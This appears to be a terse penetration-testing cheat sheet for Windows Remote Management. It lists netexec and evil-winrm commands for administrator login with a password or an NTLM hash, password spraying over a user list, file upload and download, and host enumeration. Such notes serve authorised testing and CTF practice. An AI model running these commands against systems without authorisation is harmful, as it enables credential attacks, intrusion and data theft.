netexec winrm $IP -u administrator -p password

netexec winrm $IP -u administrator -H <ntlm_hash>

evil-winrm -i $IP -u administrator -p password
evil-winrm -i $IP -u administrator -H <ntlm_hash>

evil-winrm -i $IP -u administrator -p password -S

netexec winrm $IP -u users.txt -p 'Password123!' --continue-on-success

evil-winrm> upload /local/path/file.exe C:\temp\file.exe

evil-winrm> download C:\temp\file.txt /local/path/file.txt

whoami /all
hostname
ipconfig /all
net user
net localgroup administrators